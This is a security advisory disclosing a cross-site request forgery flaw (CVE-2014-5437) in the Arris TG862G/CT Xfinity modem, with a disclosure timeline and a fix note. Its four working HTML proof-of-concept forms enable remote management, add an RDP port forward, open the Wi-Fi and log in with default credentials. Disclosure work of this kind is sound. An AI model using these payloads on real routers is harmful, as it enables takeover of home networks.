Arris Touchstone TG862G/CT suffers from a cross site request forgery vulnerability.
2a82373f66affb49b6bfa467e5952fd04a9cd14179793ba072610383123dc973
-----------
Vendor:
-----------
Arris Interactive, LLC (http://www.arrisi.com/)
ISP: Comcast Xfinity
-----------------------------------------
Affected Products/Versions:
-----------------------------------------
HW: Arris Touchstone TG862G/CT (Xfinity branded)
SW: Version 7.6.59S.CT (Tested)
-----------------
Description:
-----------------
Title: Cross-site Request Forgery (CSRF)
CVE: CVE-2014-5437
CWE: CWE-352: http://cwe.mitre.org/data/definitions/352.html
Researcher: Seth Art - @sethsec
----------------------------------------------------
POC - Enable remote management:
----------------------------------------------------
<html>
<body>
<h1>Arris </h1>
<form action="http://10.0.0.1/remote_management.php" method="POST">
<input type="hidden" name="http_port" value="8080" />
<input type="hidden" name="http" value="enabled" />
<input type="hidden" name="single" value="any" />
<input type="submit" value="Submit request" />
</form>
Sending CSRF Payload!!!
</body>
</html>
----------------------------------------------
POC - Add port forwarding rule:
----------------------------------------------
<html>
<body>
<h1> Arris TG862G/CT – CSRF - Add port forwarding rule</h1>
<form action="http://10.0.0.1/port_forwarding_add.php" method="POST">
<input type="hidden" name="common_services" value="other" />
<input type="hidden" name="other_service" value="csrf1" />
<input type="hidden" name="sevice_type" value="1" />
<input type="hidden" name="server_ip_address_1" value="10" />
<input type="hidden" name="server_ip_address_2" value="0" />
<input type="hidden" name="server_ip_address_3" value="0" />
<input type="hidden" name="server_ip_address_4" value="100" />
<input type="hidden" name="start_port" value="3389" />
<input type="hidden" name="end_port" value="3389" />
<input type="submit" value="Submit request" />
</form>
Sending CSRF Payload!!!
</body>
-----------------------------------------------------------
POC - Change wireless network to open:
-----------------------------------------------------------
<html>
<body>
<h1> Arris TG862G/CT – CSRF – Change wireless network to open</h1>
<form action="http://10.0.0.1/wireless_network_configuration_edit.php"
method="POST">
<input type="hidden" name="restore_factory_settings" value="false" />
<input type="hidden" name="channel_sel" value="Manual" />
<input type="hidden" name="channel_num" value="1" />
<input type="hidden" name="ssid" value="csrf" />
<input type="hidden" name="wifi_mode" value="7" />
<input type="hidden" name="security" value="none" />
<input type="hidden" name="channel_selection" value="manual" />
<input type="hidden" name="channel" value="1" />
<input type="hidden" name="save_settings" value="Save Settings" />
</form>
Sending CSRF Payload!!!
</body>
</html>
-----------------------------------------------------
POC - Login with default credentials:
-----------------------------------------------------
<html>
<body>
<h1>Arris TG862G/CT - Login CSRF – Default credentials </h1>
<form action="http://10.0.0.1/home_loggedout.php" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="password" value="password" />
<input type="submit" value="Submit request" />
</form>
Sending CSRF Payload!!!
</body>
</html>
-------------
Solution:
-------------
I tested my Comcast Xfinity device on December 10th, 2014 and it is no
longer vulnerable (version 7.6.86L.CT). If you have an Arris
modem/router, contact your ISP (or Arris) to verify that your firmware
has been updated to address this vulnerability... or you could fire up
Burp and see for yourself ;)
-----------------------------
Disclosure Timeline:
-----------------------------
2014-07-16: Notified Arris of vulnerabilities in TG862G/CT product
2014-07-16: Arris responded and escalated issue to Tier 2
2014-07-17: Arris requested vulnerability details
2014-07-17: Vulnerability report sent to Arris Tier 2
2014-07-18: Arris confirmed receipt and began investigation
2014-08-04: Requested update from Arris
2014-08-05: Arris confirms issue has been escalated to engineering team
2014-08-06: Attended call with Arris to walk through findings
2014-09-18: Notified Arris that CVE-2014-5437 will be used to identify
this vulnerability
2014-09-25: December 6th suggested as the disclosure date
2014-10-13: Arris requested disclosure date of December 15th
2014-12-15: Public disclosure